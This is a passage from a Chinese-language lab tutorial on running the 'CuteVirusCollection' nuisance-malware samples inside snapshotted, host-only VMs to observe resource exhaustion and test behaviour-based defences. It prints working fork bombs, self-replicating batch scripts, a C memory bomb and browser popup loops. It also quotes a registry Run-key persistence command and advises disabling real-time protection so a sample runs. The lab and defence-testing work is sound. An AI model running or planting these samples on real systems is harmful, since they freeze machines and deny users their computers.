到防御驗證的工程實踐指南)
簡介CuteVirusCollection 是一份面向計算機安全愛好者與開發(fā)者的趣味實驗性病毒樣本集合覆蓋 Windows XP/7/10 環(huán)境。資源以 JavaScript、C、Java、批處理及 Shell 腳本等形式按危害等級分類展示狼、虎、惡魔三級案例從彈出無限消息、隨機移動鼠標/窗口到制造超大字符串耗盡 RAM、無限開啟命令提示符窗口、遞歸 fork 炸彈再到永久遞歸的惡魔級批處理完整呈現(xiàn)了多種資源耗盡與系統(tǒng)干擾的典型實現(xiàn)思路。包體極小僅 47KB適合快速下載由于上游未提供具體文件總數(shù)與文件明細暫不展開。該資源已有 2011 人學習適合用來觀察惡意代碼的觸發(fā)邏輯、理解系統(tǒng)資源耗盡原理也可作為開發(fā)安全演示或 CTF 學習的小型參考但請務必在隔離環(huán)境中運行。1. 一個“可愛但致命”的病毒集合它到底能做什么、你該不該碰很多人第一眼看到 CVC 這個名號會覺得它只是一個“可愛但致命”的病毒集合段子直到你在隔離環(huán)境里親手觸發(fā)一次才會意識到“可愛”只是文件命名的偽裝。這個項目把 C、Java、JavaScript、Shell、批處理腳本打包成一套小型惡意樣本覆蓋從彈窗風暴、批處理自復制到 fork 炸彈的典型行為測試目標明確指向 Windows XP / 7 / 10。它解決的是惡意樣本分析里最尷尬的問題真病毒不能隨便跑、教學樣本又不典型。CVC 把兩者折中適合安全課設、行為觀察、防御規(guī)則驗證也適合給剛入門的同學做一個“不敢亂點”的紀律訓練。我最初是因為研究某個跨平臺系統(tǒng)的誘餌投遞鏈才找到這類合集后來它變成我每次搭實驗環(huán)境都固定復用的樣本庫。2. CVC 倉庫結構與多語言分類C、Java、JS、Batch、Shell、CHTML 各在哪CVC 這類倉庫不會按“病毒家族”歸檔而是按“宿主語言”歸檔。你拿到壓縮包后第一眼看到的不是virus/、worm/這種分類而是src/c、src/java、src/batch這類目錄。這個設計其實是合理的同一個攻擊意圖在不同語言下會有完全不同的觸發(fā)方式、運行依賴和防御繞過效果。如果上來就按名字找“炸彈”你反而容易錯過那些藏在注釋里、看起來人畜無害的啟動腳本。2.1 頂層目錄與文件形態(tài)解壓之后典型的目錄分布是這樣的C 源碼放在單獨的 C 目錄下里面是純.c文件Java 目錄里是.java源碼偶爾附帶打包說明Batch 目錄最雜亂從.bat到.cmd都有JS 目錄里是給瀏覽器用的腳本Shell 目錄則是用來在 Linux 子系統(tǒng)或容器里跑的。比較特殊的是 CHTML 這一類它并不是一個正式標準更像是“可內嵌進 HTML 的一句話惡意腳本”頁面加載即執(zhí)行適合觀察瀏覽器默認策略對自動行為的容忍度。目錄/文件形態(tài)代碼宿主觸發(fā)方式觀測重點建議測試系統(tǒng)batch/*.bat批處理雙擊或cmd /c調用cmd.exe 進程數(shù)暴漲Windows XP / 7 優(yōu)先c/*.cC 源碼編譯后運行 exe內存占用或進程耗盡對應編譯器體系java/*.javaJava 源碼java運行 classJVM 堆溢出帶 JRE 的任意 Windowsjs/*.jsJavaScript瀏覽器加載 HTML彈窗/頁面刷爆老 IE 與 Win10 對比shell/*.shShell 腳本Bash 環(huán)境執(zhí)行進程表寫滿Linux 容器更合適chtml/*.html內聯(lián)腳本片段直接打開頁面頁面自動執(zhí)行行為取決于瀏覽器策略注意一個常見誤區(qū)看到.js就以為要用 Node.js 跑實際上 CVC 里的 JS 大多是為瀏覽器設計的必須配合一個 HTML 殼才能觸發(fā)。直接丟給 Node 只會得到一堆語法錯誤還容易讓你誤判“這個樣本沒效果”。2.2 為什么同一套效果要用四種語言真實攻擊鏈從來不是單語言的。釣魚附件里常見 Batch 加 VBS 的組合網(wǎng)頁掛馬用 JS 和 CHTML 片段內網(wǎng)橫向移動時又變成 Shell 或 PowerShell 腳本最后在目標機器上落地的破壞載荷往往是 C 或 Java 寫的一次性炸彈。CVC 把這些形態(tài)收在同一倉庫等于把一條完整的投遞鏈拆開擺在你面前入口腳本層負責觸發(fā)駐留載荷層負責持續(xù)生效系統(tǒng)破壞層負責把機器拖垮。多語言并存還有一層好處是便于對比防御效果。同一個“進程翻倍增長”的邏輯在 Batch 里會被 Windows 的權限隔離打斷在 Shell 里會被進程表上限限制在 C 里則取決于內存分配速度。你在實驗報告里寫“同一種攻擊在不同宿主下的表現(xiàn)差異”比單純復現(xiàn)一個樣本要有說服力得多。2.3 平臺邊界的三個差異CVC 的 README 里沒有細說但你在真實環(huán)境里很快就會撞到三個邊界。第一個是批處理在 Windows XP 上雙擊即跑沒有權限彈窗自我復制鏈非常順暢到了 Windows 10智能應用控制可能在中途把子進程創(chuàng)建掛起腳本執(zhí)行一半就斷了。第二個是 JVM 堆的默認上界老版本 JRE 的默認堆比較小內存炸彈兩三分鐘就能憋爆新版本 JRE 默認堆變大同樣代碼可能要跑十分鐘才有反應容易讓人誤以為樣本失效。第三個是 C 源碼的移植性問題倉庫里的 C 代碼默認走的是 Linux 的fork語義Windows 沒有對應的系統(tǒng)調用直接用 Windows 工具鏈編譯會失敗需要改寫成內存分配型死循環(huán)或者放到 Linux 子系統(tǒng)里跑。我自己就在 Win7 上踩過這個坑用 32 位工具鏈編譯一個內存消耗型 C 程序結果進程地址空間上限只有 1.5GB 左右任務管理器里內存曲線一直不漲我一度以為是源碼被精簡過了。后來換成 64 位工具鏈效果才出來。這類邊界不會寫進任何文檔只能靠環(huán)境對照測試摸出來。3. 核心機制拆解死循環(huán)、自復制與內存炸彈到底怎么生效CVC 里真正“致命”的部分歸納起來就三類持續(xù)消耗 CPU 的死循環(huán)、讓進程翻倍的自我復制、把物理內存快速吃干凈的內存炸彈。這三類行為在操作系統(tǒng)層面有不同的表現(xiàn)特征觀測手段也不一樣。下面挑幾種典型實現(xiàn)拆開講代碼我做了精簡只留核心邏輯避免把整個倉庫直接搬進來。3.1 批處理自復制與無參死循環(huán)echo off rem CVC demo僅限隔離虛擬機演示進程耗盡 :loop start %~f0 goto loop這段邏輯不復雜每一輪start都會創(chuàng)建一個新的cmd.exe進程來執(zhí)行同一個批處理文件新進程又回到:loop標簽繼續(xù)start。表象是 cmd.exe 進程數(shù)一輪比一輪多最終把系統(tǒng)進程表撐滿。關鍵點在%~f0它取當前腳本的完整路徑避免相對路徑在中文目錄或帶空格的路徑下解析失敗導致自復制鏈斷裂。如果你想放慢節(jié)奏觀察可以在start前加一行ping -n 2 127.0.0.1 nul這樣每輪之間會停頓大約一秒進程數(shù)增長曲線更平滑方便截圖和寫實驗記錄。觀測位置是任務管理器里的 cmd.exe 進程計數(shù)一般從 1、2、4、8 的數(shù)量翻倍開始到幾十個時系統(tǒng)已經明顯卡頓。這時候不要試著“關閉所有進程”直接斷電回滾快照即可。3.2 Shell 的 fork 炸彈管道與后臺的配合bomb() { bomb | bomb } bomb這行是經典寫法。bomb | bomb通過管道創(chuàng)建兩個子進程同時遞歸調用自身把整輪調用推到后臺讓當前 shell 立刻空閑出來繼續(xù)執(zhí)行下一輪。效果是對系統(tǒng)進程表的持續(xù)寫入超過pid_max后新進程創(chuàng)建失敗系統(tǒng)表現(xiàn)為“連打開一個計算器都會報錯”。參數(shù)層面的關鍵在于不能省去掉它就成了單線程死循環(huán)只會占用一個進程而非寫滿進程表。管道符號|決定了每輪的子進程數(shù)量改成兩個管道就是每輪三個子進程增長更快。注意在 Windows 的 Linux 子系統(tǒng)里fork 語義和原生 Linux 有差異這個腳本的行為可能從“進程表寫滿”退化成“當前終端卡死”更適合放到容器里觀察。3.3 C 的內存炸彈malloc 以后必須 memset/* CVC demo內存型炸彈僅限隔離系統(tǒng) */ #include stdlib.h #include string.h int main(void) { size_t n 100; while (1) { char *p malloc(64 * 1024 * 1024); /* 每次分配 64MB */ if (p) memset(p, 0, 64 * 1024 * 1024); /* 強制換入物理內存 */ } return 0; }C 炸彈有個容易看走眼的細節(jié)只調malloc不碰內存操作系統(tǒng)可能一直給虛擬地址空間物理內存卻漲得很慢因為頁面還沒被實際換入。加了memset之后每一頁都會真實被寫入物理內存占用曲線立刻上升。64 * 1024 * 1024這個值可以按需調設成 16MB 適合慢速演示設成 256MB 會在幾秒內讓系統(tǒng)假死。倉庫里有些 C 源碼默認是 fork 炸彈寫法那是在 Linux 語義下的實現(xiàn)。Windows 上沒有fork()如果你堅持在 Windows 環(huán)境編譯需要把它改寫成這種內存型邏輯。這不是偷懶而是適配目標平臺。3.4 JS 彈窗風暴與 CHTML 內聯(lián)觸發(fā)!doctype html html headmeta charsetutf-8titleCVC demo/title/head body script while (true) { window.open(, _blank); } /script /body /html這個頁面在打開瞬間就開始請求新窗口?,F(xiàn)代瀏覽器對window.open有彈窗攔截機制只攔截“非用戶手勢觸發(fā)的打開動作”所以這個死循環(huán)可能只彈幾個窗口就被攔住了但在老版本的 XP 自帶瀏覽器上它是真正意義的彈窗風暴標簽頁會以肉眼可見的速度膨脹最后只能強制結束進程。另外一個變體是用confirm循環(huán)while (true) { confirm(CVC demo: continue?); }confirm是同步阻塞的點一次確定立刻彈下一個現(xiàn)代瀏覽器對它的攔截規(guī)則比彈窗寬松所以在 Win10 上效果反而更穩(wěn)定。CHTML 片段在 CVC 里通常就是把類似循環(huán)內聯(lián)進 HTML 的短腳本不依賴單獨的外部.js文件模擬的是攻擊者把惡意代碼直接寫進網(wǎng)頁源碼的場景。4. 安全復現(xiàn)虛擬機配置、參數(shù)設定與觸發(fā)前后檢查這部分是 CVC 真正區(qū)別于“下載一個病毒直接跑”的關鍵。我的習慣是每個樣本只在虛擬機里跑虛擬機裝完系統(tǒng)后第一件事是打快照第二件事是關掉一切可能外聯(lián)的網(wǎng)絡通路第三件事才把源碼放進去。順序不能反因為一旦樣本已經被執(zhí)行任何清理都是亡羊補牢。4.1 虛擬機參數(shù)怎么給配置項推薦值理由客戶機系統(tǒng)Windows 7 SP132 位XP 驅動難找Win10 權限攔截干擾行為觀察內存1~2GB1GB 能讓內存炸彈更快產生可見效果CPU1~2 核避免進程炸彈連累宿主機網(wǎng)絡僅主機模式確保樣本無法外聯(lián)剪貼板/拖放禁用防止樣本讀取宿主機內容快照開機后立即打一個干凈基線實驗后的唯一后悔藥網(wǎng)絡這塊強調一下不要用 NATNAT 雖然不開放入站連接但樣本可以主動訪問外網(wǎng)。僅主機模式下虛擬機和宿主機之間只有一塊隔離網(wǎng)卡虛擬機外部通聯(lián)基本為零適合觀察純本地行為。4.2 源碼進入虛擬機的三種辦法常見做法是共享文件夾但我建議把共享設置為只讀或者更保險一點把源碼目錄做成 ISO 鏡像掛載進去。這樣可以避免“樣本在虛擬機里運行時反過來修改宿主機目錄”的意外。宿主機是 Linux 的話一條命令就能生成 ISOgenisoimage -o cvc.iso -R src/鏡像掛載后在虛擬機里把它拷到本地目錄比如C:\samples。這一步處理完之后關掉共享或卸載 ISO再開始實驗。整個過程遵循一個原則樣本從進入虛擬機那一刻起就和外界沒有任何讀寫通道。4.3 觸發(fā)后的進程采樣與檢查清單觸發(fā)樣本前先導出一份注冊表自啟動項和計劃任務的基線觸發(fā)后再導一次對比差異。批處理寫注冊表自啟動是常見操作不提前留基線的話靠肉眼很難發(fā)現(xiàn)多了一條隱藏的 Run 項。# 進程數(shù)采樣腳本記錄實驗期間的進程增長曲線 import subprocess, time, csv csv_path rC:\samples\proc_count.csv with open(csv_path, w, newline) as f: w csv.writer(f) w.writerow([timestamp, proc_count]) for i in range(120): out subprocess.check_output([tasklist, /FO, CSV, /NH]).decode(gbk, errorsignore) lines [l for l in out.splitlines() if l.strip()] w.writerow([time.time(), len(lines)]) time.sleep(0.5)這段腳本用tasklist /FO CSV /NH取純 CSV 格式的進程列表不依賴任何額外工具。gbk編碼是因為中文 Windows 的控制臺默認代碼頁是 GBK不指定編碼會亂碼。采樣間隔設為 0.5 秒能捕捉到進程翻倍的中間狀態(tài)又不會因為采樣太頻繁占用太多 CPU 影響實驗現(xiàn)象。跑完直接恢復快照不需要手動殺進程。觸發(fā)前的檢查也可以自動化先掃源碼里的自啟動關鍵字。grep -RniE reg add|schtasks|startup|runkey|persist src/這里-i忽略大小寫-E使用擴展正則把注冊表寫入和計劃任務相關調用全部列出來。CVC 里有些“無害”樣本會在注釋里藏一段注冊表寫入命令不掃一遍直接跑容易讓實驗結論失真。5. 避坑排查我在復現(xiàn) CVC 時踩過的四個坑CVC 表面上是“小樣本集合”但復現(xiàn)過程的坑密度比想象中高。下面四條是我實際踩過的每個都按“現(xiàn)象、原因、解決”寫清楚希望能幫你繞開。5.1 在宿主機直接打開 HTML 炸彈彈窗關到手抽筋現(xiàn)象雙擊某個.html文件后瀏覽器瞬間彈出十幾個窗口越關越多最后只能強制結束進程。原因我把它當成“普通網(wǎng)頁”預覽忽略了 CVC 里所有 HTML 相關文件都可能是惡意載荷瀏覽器對本地文件的執(zhí)行沒有任何邊界保護。解決從那以后凡是倉庫里出現(xiàn)的.html、.htm、.chtml一律拷進虛擬機再開。虛擬機里開完直接回滾快照不花時間清理。5.2 快照沒打成功實驗后想回滾只能從零裝系統(tǒng)現(xiàn)象樣本跑流程后系統(tǒng)徹底卡死強制關機再啟動恢復快照時提示沒有可用快照。原因我在復現(xiàn)中途才打快照此時樣本已經寫入了部分系統(tǒng)狀態(tài)快照基線和當前狀態(tài)混在一起另外虛擬磁盤在運行過程中持續(xù)膨脹快照文件生成失敗沒被及時發(fā)現(xiàn)。解決現(xiàn)在我的流程固定為“開機 → 關機 → 再開機 → 打快照 → 確認快照文件存在 → 再復現(xiàn)”確認這一步省不了??煺帐撬袕同F(xiàn)實驗的后悔藥藥沒備好就別開跑。5.3 Win10 上批處理炸彈跑不起來進程數(shù)漲到兩個就停現(xiàn)象雙擊.bat后任務管理器里只出現(xiàn)一兩個 cmd.exe 進程很快就消失進程數(shù)完全漲不起來。我一度以為是腳本被精簡了。原因Win10 的權限隔離機制和自帶實時防護對流式腳本的處理邏輯不一樣子進程創(chuàng)建被掛起自我復制鏈被提前掐斷。解決如果非要 Win10 不可就改成在命令行里手動執(zhí)行cmd /c demo.bat關掉針對該目錄的實時防護跑完立刻恢復更省事的方法是直接換 Win7 虛擬機XP 上連權限彈窗都沒有復現(xiàn)鏈路最完整。5.4 “無害”標簽不可信腳本注釋里藏著自啟動注冊表項現(xiàn)象隔離機運行某個“討厭但無害”的腳本后我把導出的注冊表基線拿來對比發(fā)現(xiàn) Run 鍵下多了一條可疑條目。原因源碼里有一行被我忽略的reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v update /d script.exe它被注釋符包著但腳本執(zhí)行邏輯里又有一處會動態(tài)拼接這一行。解決現(xiàn)在每個樣本進虛擬機之前先跑一遍第四章里的 grep 關鍵字掃描再決定要不要禁用共享目錄。實驗后直接恢復快照不要手動刪注冊表項手動清理比快照回滾更容易留下痕跡。6. 進階玩法參數(shù)化炸彈、進程采樣與防御規(guī)則驗證跑到這一步你已經不是“看一眼效果”了而是把 CVC 從玩具變成工具。我常用的進階路線是先把炸彈改造成可控負載再配合腳本記錄數(shù)據(jù)最后放到防御規(guī)則的測試集里驗證檢測效果。6.1 給批處理炸彈加可控參數(shù)echo off rem 參數(shù)化示例/limit 控制最大進程數(shù)/delay 控制每輪間隔毫秒 set /a limit50 set /a delay500 :loop for /f tokens1 %%i in (tasklist /FO CSV /NH ^| find /c cmd.exe) do ( if %%i geq %limit% exit /b ) start %~f0 ping -n 2 127.0.0.1 nul goto loop這段在原有自復制邏輯上加了兩個控制點limit限制 cmd.exe 進程數(shù)上限超過閾值直接退出避免一臺 2GB 內存的虛擬機完全被鎖死ping -n 2 127.0.0.1充當延時把每輪間隔拉長到約一秒。注意批處理文件里for變量要用%%i如果你是在命令行直接敲就改成單個%i這是運行時最常見的報錯點。6.2 把“崩潰”變成可讀的觀測數(shù)據(jù)配合第四章的 Python 采樣腳本每 0.5 秒記錄一次進程數(shù)跑完就能生成一張指數(shù)增長曲線。加參數(shù)化的炸彈跑出來的曲線在limit處被切平這個“平頭”就是防御策略生效的視覺證據(jù)。我還試過把內存炸彈和采樣腳本同時啟動記錄內存占用率變化輸出 CSV 后用任意圖表工具畫圖寫實驗報告時比貼截圖有說服力。6.3 用 CVC 驗證防御規(guī)則的召回能力把參數(shù)化改造后的樣本放進受監(jiān)控目錄開啟行為攔截類防護觀察它在“創(chuàng)建子進程”或“分配大內存”這一步是否被攔。特征庫匹配型的防御對這類微型樣本往往失效因為“死循環(huán)分配 64MB 內存”本身沒有惡意字符串特征而行為基線型的防御會因為在短時間內看到進程數(shù)翻倍或內存突增觸發(fā)告警。CVC 正好適合當作這類漏報測試集成本低、類型全、可控性強。最后說個我自己的教訓有一回我自認為網(wǎng)絡已經隔離實際上虛擬機設的是 NAT實驗結束后才意識到樣本本來有機會外聯(lián)。從那以后每次復現(xiàn)前我都強制走一遍三項檢查網(wǎng)絡僅主機、快照完好、源碼無自啟動關鍵字。這套習慣幫我攢下了不少可信的樣本日志。希望幫到你。本文還有配套的精品資源點擊獲取